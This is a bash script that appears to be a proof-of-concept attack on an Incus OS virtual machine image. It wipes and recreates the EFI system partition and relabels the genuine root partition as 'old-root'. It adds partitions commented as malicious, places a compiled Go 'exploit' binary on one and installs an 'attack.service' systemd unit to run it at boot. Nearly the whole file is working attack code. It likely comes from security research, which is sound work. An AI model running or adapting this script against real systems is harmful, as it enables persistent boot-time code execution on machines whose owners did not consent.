#!/bin/bash

set -e

IMAGE="/var/lib/incus/virtual-machines/test-incus-os/root.img"

if [ "$(id -u)" -ne 0 ]; then
     echo "This script must be run as root"
     exit 1
fi

rm -rf ./mnt/ ./esp-orig/ ./gpt.backup ./exploit/exploit

## Compile our exploit
cd ./exploit/ && go build . && cd ../

## Backup the GPT table to restore later
sgdisk -b gpt.backup "$IMAGE"

## We need space on the root disk to stage our attack. The ESP partition is mostly empty, so let's hijack that space.

### Copy existing ESP data
losetup -f -P "$IMAGE"
sleep 1
mkdir ./mnt/
mount /dev/loop0p1 ./mnt/

mkdir ./esp-orig/
cp -ar ./mnt/* ./esp-orig/

umount ./mnt/
losetup -d /dev/loop0

### Wipe the original ESP partition and change the root's partition GUID, then create our new malicious partitions
sgdisk -d 1 "$IMAGE"
sgdisk -t 10:4f68bce3-e8cd-4db1-96e7-fbcaf984b708 -c 10:old-root "$IMAGE"
sgdisk -n 1:0:+1024MiB -t 1:c12a7328-f81f-11d2-ba4b-00a0c93ec93b -c 1:esp "$IMAGE"
sgdisk -n 12:0:+512MiB -t 12:3b8f8425-20e0-4f3b-907f-1a25a76f98e8 "$IMAGE" # Malicious /srv/
sgdisk -n 13:0:+256MiB -t 13:4f68bce3-e8cd-4db1-96e7-fbcaf984b709 -c 13:root-x86-64 "$IMAGE" # Malicious /root/

losetup -f -P "$IMAGE"
sleep 1
mkfs.vfat /dev/loop0p1
mkfs.ext4 /dev/loop0p12
mkfs.ext4 /dev/loop0p13

## Inject our exploit binary and service into our controlled root partition

# Copy ESP partition contents back
mount /dev/loop0p1 ./mnt/
cp -ar ./esp-orig/* ./mnt/
umount ./mnt/

# Put our exploit somewhere where it can run
mount /dev/loop0p12 ./mnt/
cp ./exploit/exploit ./mnt/
umount ./mnt/

# Add our systemd service to run the attack
mount /dev/loop0p13 ./mnt/
mkdir -p ./mnt/etc/systemd/system/
cp attack.service ./mnt/etc/systemd/system/ # Add our malicious service
umount ./mnt/

losetup -d /dev/loop0